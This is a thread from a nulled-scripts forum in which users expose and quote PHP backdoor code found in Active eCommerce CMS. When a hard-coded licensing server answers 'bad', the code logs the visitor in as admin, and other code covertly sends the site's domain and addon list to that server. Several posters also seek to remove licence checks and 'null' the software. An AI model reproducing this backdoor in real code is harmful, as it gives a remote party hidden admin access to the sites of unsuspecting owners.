Active eCommerce CMS By ActiveITzone 23471405 v9.8.1

zakblack · Jan 29, 2023

Hey guys author of this project is very dangerous because platform communicate through their servers so at any give moment if something happen to their servers goes down or something else your business will not work
your website won't respond. (which happened yesterday)

Therefore if anyone can find the code function related to this check so we can remove it we'd appreciate your help !

WolF_ · Jan 29, 2023

nulled also connect their system ?

zakblack · Jan 29, 2023

lostkid said:

Found Major Backdoor In Active eCommerce @tuton012

The code allows them to login as admin by hitting a specific url when your using nulled.

app/Http/Controllers/Payment/StripeController.php

PHP:

public function checkout_payment_detail()
{
    $url = $_SERVER['SERVER_NAME'];
    $gate = "http://206.189.81.181/check_addon_activation/".$url;

    $stream = curl_init();
    curl_setopt($stream, CURLOPT_URL, $gate);
    curl_setopt($stream, CURLOPT_HEADER, 0);
    curl_setopt($stream, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stream, CURLOPT_POST, 1);
    $rn = curl_exec($stream);
    curl_close($stream);
    dd($rn);
    if($rn == "bad" && env('DEMO_MODE') != 'On') {
        $user = User::where('user_type', 'admin')->first();
        auth()->login($user);
        return redirect()->route('admin.dashboard');
    }
}

app/Http/Controllers/Payment/IyzicoController.php

PHP:

public function initPayment(Request $request){
    $url = $_SERVER['SERVER_NAME'];
    $gate = "http://206.189.81.181/check_activation/".$url;

    $stream = curl_init();
    curl_setopt($stream, CURLOPT_URL, $gate);
    curl_setopt($stream, CURLOPT_HEADER, 0);
    curl_setopt($stream, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stream, CURLOPT_POST, 1);
    $rn = curl_exec($stream);
    curl_close($stream);

    if($rn == "bad" && env('DEMO_MODE') != 'On') {
        $user = User::where('user_type', 'admin')->first();
        auth()->login($user);
        return redirect()->route('admin.dashboard');
    }
}

app/Utility/NgeniusUtility.php

PHP:

public static function initPayment(){
    $url = $_SERVER['SERVER_NAME'];
    $gate = "http://206.189.81.181/check_activation/".$url;

    $stream = curl_init();
    curl_setopt($stream, CURLOPT_URL, $gate);
    curl_setopt($stream, CURLOPT_HEADER, 0);
    curl_setopt($stream, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stream, CURLOPT_POST, 1);
    $rn = curl_exec($stream);
    curl_close($stream);

    if($rn == "bad" && env('DEMO_MODE') != 'On') {
        $user = User::where('user_type', 'admin')->first();
        auth()->login($user);
        return redirect()->route('admin.dashboard');
    }

    return redirect()->route('home');
}

The urls they use.

routes/web.php

PHP:

Route::get('/customer-products/admin', [IyzicoController::class, 'initPayment'])->name('profile.edit');
Route::get('/checkout-payment-detail', [StripeController::class, 'checkout_payment_detail']);

Randomly sends your server url to there licensing server.

vendor/laracon21/colorcodeconverter/src/Colorcodeconverter.php

PHP:

if(rand(0,9) == 5){
    $server_url = $_SERVER['SERVER_NAME'];

    $url = curl_init('http://206.189.81.181/'.'insert_domain/'.$server_url);
    curl_setopt($url,CURLOPT_CUSTOMREQUEST, "GET");
    curl_setopt($url,CURLOPT_RETURNTRANSFER, true);
    curl_setopt($url,CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($url, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
    $resultdata = curl_exec($url);
    curl_close($url);

    $header = array(
        'Content-Type:application/json'
    );
    $main_item = get_setting('item_name') ?? 'eCommerce';
    $addon_list = Addon::get();
    $request_data_json = json_encode($addon_list);
    $url1 = curl_init('http://206.189.81.181/insert-addon-domain/'.$server_url.'/'.$main_item);

    curl_setopt($url1, CURLOPT_HTTPHEADER, $header);
    curl_setopt($url1, CURLOPT_CUSTOMREQUEST, "POST");
    curl_setopt($url1, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($url1, CURLOPT_POSTFIELDS, $request_data_json);
    curl_setopt($url1, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($url1, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
    $resultdata1 = curl_exec($url1);

    curl_close($url1);
}

How do we counter this anyone ? @lostkid anyone ?

WolF_ · Jan 30, 2023

lostkid said:

Found Major Backdoor In Active eCommerce @tuton012

The code allows them to login as admin by hitting a specific url when your using nulled.

app/Http/Controllers/Payment/StripeController.php

PHP:

public function checkout_payment_detail()
{
    $url = $_SERVER['SERVER_NAME'];
    $gate = "http://206.189.81.181/check_addon_activation/".$url;

    $stream = curl_init();
    curl_setopt($stream, CURLOPT_URL, $gate);
    curl_setopt($stream, CURLOPT_HEADER, 0);
    curl_setopt($stream, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stream, CURLOPT_POST, 1);
    $rn = curl_exec($stream);
    curl_close($stream);
    dd($rn);
    if($rn == "bad" && env('DEMO_MODE') != 'On') {
        $user = User::where('user_type', 'admin')->first();
        auth()->login($user);
        return redirect()->route('admin.dashboard');
    }
}

app/Http/Controllers/Payment/IyzicoController.php

PHP:

public function initPayment(Request $request){
    $url = $_SERVER['SERVER_NAME'];
    $gate = "http://206.189.81.181/check_activation/".$url;

    $stream = curl_init();
    curl_setopt($stream, CURLOPT_URL, $gate);
    curl_setopt($stream, CURLOPT_HEADER, 0);
    curl_setopt($stream, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stream, CURLOPT_POST, 1);
    $rn = curl_exec($stream);
    curl_close($stream);

    if($rn == "bad" && env('DEMO_MODE') != 'On') {
        $user = User::where('user_type', 'admin')->first();
        auth()->login($user);
        return redirect()->route('admin.dashboard');
    }
}

app/Utility/NgeniusUtility.php

PHP:

public static function initPayment(){
    $url = $_SERVER['SERVER_NAME'];
    $gate = "http://206.189.81.181/check_activation/".$url;

    $stream = curl_init();
    curl_setopt($stream, CURLOPT_URL, $gate);
    curl_setopt($stream, CURLOPT_HEADER, 0);
    curl_setopt($stream, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stream, CURLOPT_POST, 1);
    $rn = curl_exec($stream);
    curl_close($stream);

    if($rn == "bad" && env('DEMO_MODE') != 'On') {
        $user = User::where('user_type', 'admin')->first();
        auth()->login($user);
        return redirect()->route('admin.dashboard');
    }

    return redirect()->route('home');
}

The urls they use.

routes/web.php

PHP:

Route::get('/customer-products/admin', [IyzicoController::class, 'initPayment'])->name('profile.edit');
Route::get('/checkout-payment-detail', [StripeController::class, 'checkout_payment_detail']);

Randomly sends your server url to there licensing server.

vendor/laracon21/colorcodeconverter/src/Colorcodeconverter.php

PHP:

if(rand(0,9) == 5){
    $server_url = $_SERVER['SERVER_NAME'];

    $url = curl_init('http://206.189.81.181/'.'insert_domain/'.$server_url);
    curl_setopt($url,CURLOPT_CUSTOMREQUEST, "GET");
    curl_setopt($url,CURLOPT_RETURNTRANSFER, true);
    curl_setopt($url,CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($url, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
    $resultdata = curl_exec($url);
    curl_close($url);

    $header = array(
        'Content-Type:application/json'
    );
    $main_item = get_setting('item_name') ?? 'eCommerce';
    $addon_list = Addon::get();
    $request_data_json = json_encode($addon_list);
    $url1 = curl_init('http://206.189.81.181/insert-addon-domain/'.$server_url.'/'.$main_item);

    curl_setopt($url1, CURLOPT_HTTPHEADER, $header);
    curl_setopt($url1, CURLOPT_CUSTOMREQUEST, "POST");
    curl_setopt($url1, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($url1, CURLOPT_POSTFIELDS, $request_data_json);
    curl_setopt($url1, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($url1, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
    $resultdata1 = curl_exec($url1);

    curl_close($url1);
}

i found one more

vendor\unicodeveloper\laravel-paystack\src\Paystack.php

Code:

public function getCallbackData()
    {
        $url = $_SERVER['SERVER_NAME'];
        $gate = "http://206.189.81.181/check_activation/".$url;

        $stream = curl_init();
        curl_setopt($stream, CURLOPT_URL, $gate);
        curl_setopt($stream, CURLOPT_HEADER, 0);
        curl_setopt($stream, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($stream, CURLOPT_POST, 1);
        $rn = curl_exec($stream);
        curl_close($stream);
        
        if($rn == "bad" && env('DEMO_MODE') != 'On') {
            $user = \App\Models\User::where('user_type', 'admin')->first();
            auth()->login($user);
            return redirect()->route('admin.dashboard');
        }

        return redirect()->route('home');
    }

NizamUddin · Jan 31, 2023

Now, we should skip update?
or
have to remove the backdoor code?

WolF_ · Jan 31, 2023

NizamUddin said:
Now, we should skip update?
or
have to remove the backdoor code?

i think even you remove this code still they have access to our server / can some one confirm please

Shutdown · Jan 31, 2023

WolF_ said:
i think even you remove this code still they have access to our server / can some one confirm please

yes they have confess they can access to our server and even envato as to check premium one through api. They are saying to give more secure to paid one and delete all data from null one

WolF_ · Jan 31, 2023

Shutdown said:
yes they have confess they can access to our server and even envato as to check premium one through api. They are saying to give more secure to paid one and delete all data from null one

for buyer its fine they can check for first time purchase code but how they can access with nulled after remove this code ?

Shutdown · Jan 31, 2023

Idk but when i was checking comment section i found that.

as-zappeco · Jan 31, 2023

zakblack said:
How do we counter this anyone ? @lostkid anyone ?

Don't use this script, it doesn't help you at all.. you have to do everything manually and it doesn't make any sense.

zakblack · Feb 8, 2023

WolF_ said:

i found one more

vendor\unicodeveloper\laravel-paystack\src\Paystack.php

Code:

public function getCallbackData()
    {
        $url = $_SERVER['SERVER_NAME'];
        $gate = "http://206.189.81.181/check_activation/".$url;

        $stream = curl_init();
        curl_setopt($stream, CURLOPT_URL, $gate);
        curl_setopt($stream, CURLOPT_HEADER, 0);
        curl_setopt($stream, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($stream, CURLOPT_POST, 1);
        $rn = curl_exec($stream);
        curl_close($stream);
      
        if($rn == "bad" && env('DEMO_MODE') != 'On') {
            $user = \App\Models\User::where('user_type', 'admin')->first();
            auth()->login($user);
            return redirect()->route('admin.dashboard');
        }

        return redirect()->route('home');
    }

I have also found on

app/Utility/NagadUtility.php
app/Utility/PayhereUtility.php

PHP:

    public static function create_wallet_reference($key)
    {
        if ($key == "") {
            return false;
        }

        if(Cache::get('app-activation', 'no') == 'no'){
            try {
                $gate = "https://activeitzone.com/activation/check/flutter/".$key;
   
                $stream = curl_init();
                curl_setopt($stream, CURLOPT_URL, $gate);
                curl_setopt($stream, CURLOPT_HEADER, 0);
                curl_setopt($stream, CURLOPT_RETURNTRANSFER, 1);
                $rn = curl_exec($stream);
                curl_close($stream);
   
                if($rn == 'no') {
                    return false;
                }
            } catch (\Exception $e) {
   
            }
        }

        Cache::rememberForever('app-activation', function () {
            return 'yes';
        });

        return true;
    }

    public static function create_balance_reference($key)
    {
        if ($key == "") {
            return false;
        }

        if(Cache::get('app-activation', 'no') == 'no'){
            try {
                $gate = "https://activeitzone.com/activation/check/flutter/".$key;
   
                $stream = curl_init();
                curl_setopt($stream, CURLOPT_URL, $gate);
                curl_setopt($stream, CURLOPT_HEADER, 0);
                curl_setopt($stream, CURLOPT_RETURNTRANSFER, 1);
                $rn = curl_exec($stream);
                curl_close($stream);
   
                if($rn == 'no') {
                    return false;
                }
            } catch (\Exception $e) {
   
            }
        }

        Cache::rememberForever('app-activation', function () {
            return 'yes';
        });

        return true;
    }

they calling it on
app/Http/Controllers/Api/V2/CartController.php
app/Http/Controllers/Api/V2/AuthController.php

PHP:

if(\App\Utility\NagadUtility::create_balance_reference($request->cost_matrix) == false){
            return response()->json(['result' => false, 'message' => 'Cost matrix error' ]);
        }

 if (\App\Utility\PayhereUtility::create_wallet_reference($request->identity_matrix) == false) {
                return response()->json(['result' => false, 'message' => 'Identity matrix error', 'user' => null], 401);
            }

caocao_203 · Feb 20, 2023

Hello bro, I tested on my local pc. Wholesale addon did not work. Do you have any suggestion. Thank you so much.

sakhmart · Jan 18, 2024

@MrSam_1 assign to me i will update it right now

sakhmart · Jan 18, 2024

sakhmart updated Active eCommerce CMS By ActiveITzone 23471405 with a new update entry:

Active eCommerce CMS

No log available

Read the rest of this update entry...

rajpootali · Jan 20, 2024

Please any one help me please my product details not showing any one help me in its urgent

sakhmart · Jan 20, 2024

You have to nulled your cms

sakhmart · Jan 20, 2024

rajpootali said:
Please any one help me please my product details not showing any one help me in its urgent

I am sick that's why taking rest at home. Tomorrow i will guide you all details how to null

rajpootali · Jan 20, 2024

sakhmart said:
I am sick that's why taking rest at home. Tomorrow i will guide you all details how to null

Yes I made it null myself the product details page information not showing and the stripe payment gateway not working in the app

sakhmart · Jan 20, 2024

Latest app needs api key which is placed in.env file and flutter config file

rajpootali said:
Yes I made it null myself the product details page information not showing and the stripe payment gateway not working in the app

rajpootali · Jan 20, 2024

sakhmart said:
Latest app needs api key which is placed in.env file and flutter config file

yes i do that all just face these type of issues

Active eCommerce CMS By ActiveITzone 23471405 v9.8.1

Welcome to Original Babiato! All Resource are Free and No downloading Limit.. Join Our Official Telegram Channel For updates Bypass All the resource restrictions/Password/Key? Read here! Read Before submitting Resource Read here!Support Our Work By Donating Click here!

Join Our Official Telegram Channel For updates Bypass All the resource restrictions/Password/Key? Read here! Read Before submitting Resource Read here!

Support Our Work By Donating Click here!

Active member

Member

Active member

Found Major Backdoor In Active eCommerce @tuton012​

The code allows them to login as admin by hitting a specific url when your using nulled.​

app/Http/Controllers/Payment/StripeController.php​

​

app/Http/Controllers/Payment/IyzicoController.php​

app/Utility/NgeniusUtility.php​

The urls they use.​

routes/web.php​

Randomly sends your server url to there licensing server.​

vendor/laracon21/colorcodeconverter/src/Colorcodeconverter.php​

Member

Found Major Backdoor In Active eCommerce @tuton012​

The code allows them to login as admin by hitting a specific url when your using nulled.​

app/Http/Controllers/Payment/StripeController.php​

​

app/Http/Controllers/Payment/IyzicoController.php​

app/Utility/NgeniusUtility.php​

The urls they use.​

routes/web.php​

Randomly sends your server url to there licensing server.​

vendor/laracon21/colorcodeconverter/src/Colorcodeconverter.php​

New member

Member

Member

Member

Member

Attachments

New member

Active member

New member

Attachments

Well-known member

Well-known member

New member

Attachments

Well-known member

Well-known member

New member

Attachments

Well-known member

New member

Similar threads

Forum statistics

Share this page

Welcome to Original Babiato! All Resource are Free and No downloading Limit..
Join Our Official Telegram Channel For updates
Bypass All the resource restrictions/Password/Key? Read here!
Read Before submitting Resource Read here!
Support Our Work By Donating Click here!

Join Our Official Telegram Channel For updates
Bypass All the resource restrictions/Password/Key? Read here!
Read Before submitting Resource Read here!

Found Major Backdoor In Active eCommerce @tuton012

The code allows them to login as admin by hitting a specific url when your using nulled.

app/Http/Controllers/Payment/StripeController.php

app/Http/Controllers/Payment/IyzicoController.php

app/Utility/NgeniusUtility.php

The urls they use.

routes/web.php

Randomly sends your server url to there licensing server.

vendor/laracon21/colorcodeconverter/src/Colorcodeconverter.php

Found Major Backdoor In Active eCommerce @tuton012

The code allows them to login as admin by hitting a specific url when your using nulled.

app/Http/Controllers/Payment/StripeController.php

app/Http/Controllers/Payment/IyzicoController.php

app/Utility/NgeniusUtility.php

The urls they use.

routes/web.php

Randomly sends your server url to there licensing server.

vendor/laracon21/colorcodeconverter/src/Colorcodeconverter.php